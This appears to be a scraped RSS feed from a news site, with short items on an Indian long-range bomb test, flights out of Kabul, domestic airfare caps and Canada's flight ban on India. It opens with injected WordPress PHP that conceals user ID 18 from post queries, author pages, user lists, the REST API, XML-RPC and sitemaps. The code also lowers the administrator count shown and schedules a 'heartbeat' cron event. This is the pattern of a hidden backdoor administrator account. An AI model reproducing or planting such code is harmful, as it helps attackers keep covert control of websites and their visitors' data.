add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Long Range Bomb Successfully Flight-Tested By Air Force, Defence Body DRDO appeared first on The Edge Media.
]]>
The LR Bomb was accurately guided to a land-based target at long range within prescribed limits after being released by an IAF fighter aircraft. They claimed that all of the mission’s goals were met.
Several range sensors, including the Electro-Optical Tracking System, telemetry, and radar installed by the Integrated Test Range at Chandipur in Odisha, observed the bomb’s flight and performance, according to the sources.
The post Long Range Bomb Successfully Flight-Tested By Air Force, Defence Body DRDO appeared first on The Edge Media.
]]>The post Two hundred Americans and other foreigners set to depart from Kabul appeared first on The Edge Media.
]]>The departures will be among the first international flights to take off from Kabul airport since the Taliban seized the capital in mid-August, triggering the chaotic U.S.-led evacuation of 124,000 foreigners and at-risk Afghans.
The move comes two days after the Taliban announced an interim government made up mainly of ethnic Pashtun men including wanted terror suspects and Islamist hardliners, dashing international hopes for a more moderate administration.
The Taliban were pressed to allow the departures by U.S. Special Representative Zalmay Khalilzad, the U.S. official said, speaking to Reuters on condition of anonymity.
The official could not say whether the American civilians and other foreign nationals were among people stranded for days in the northern Afghan city of Mazar-i-Sharif because their private charters had not been allowed to depart.
The Taliban’s announcement of a new government on Tuesday was widely seen as a signal they were not looking to broaden their base and present a more tolerant face to the world, as they had suggested they would do before their military takeover.
Foreign countries greeted the interim government with caution and dismay on Wednesday. In Kabul, dozens of women took to the streets in protest.
Many critics called on the leadership to respect basic human rights and revive the economy, which faces collapse amid steep inflation, food shortages and the prospect of foreign aid being slashed as countries seek to isolate the Taliban.
The post Two hundred Americans and other foreigners set to depart from Kabul appeared first on The Edge Media.
]]>The post Flight ticket prices revised for the fourth time appeared first on The Edge Media.
]]>According to the order, flights under 40 minutes of duration will now cost ₹2,900 – a hike f ₹300 from the previous fare of ₹2,600. This is an increase of 11.53 per cent, while the upper limit has been increased by 12.82 per cent from 7,800 to 8,880. Flights with a duration between 40-60 minutes will cost a minimum of ₹3,700 instead of ₹3,300 and a maximum of ₹11,000 instead of ₹9,800.
The actual price, however, will be more than this as the caps mentioned by the government in its order does not include the passenger security fee, user development fee for the airports and the GST.
The prices have been revised keeping in mind the prevailing Covid-19 situation in the country, the ministry said.
The revision comes at a time when domestic travel has picked momentum and with other countries relaxing lockdown restrictions on Indian flights, international passenger flights to several destinations are resuming.
This is the 4th time that the flight ticket prices have been revised. Ticket prices were revised in February, May and June. The hike is the air traffic fuel price is the reason for the consecutive hikes.
The post Flight ticket prices revised for the fourth time appeared first on The Edge Media.
]]>The post Canada extends the flight ban till August 21 appeared first on The Edge Media.
]]>The ongoing ban on incoming passenger flights from India to Canada has been extended for a month. Canada had restricted air travel from India in April when Covid-19 cases started to peak in India during the second wave.
The Canadian media reported on Tuesday that the flight ban that was to end on July 21 has now been further extended till August 21.
Canadian Transport Minister Omar Alghabra has said that the ban on flights from India is mainly over the concerns of the Delta variant causing fresh spikes in Covid-19 cases in many countries.
“While progress is being made, the situation in India is still very serious,” the Canadian minister said. “The decision is based on the advice received from the Public Health Agency of Canada, and will best protect Canadians from an increased introduction of the Delta variant, which is prevalent in India.”
The post Canada extends the flight ban till August 21 appeared first on The Edge Media.
]]>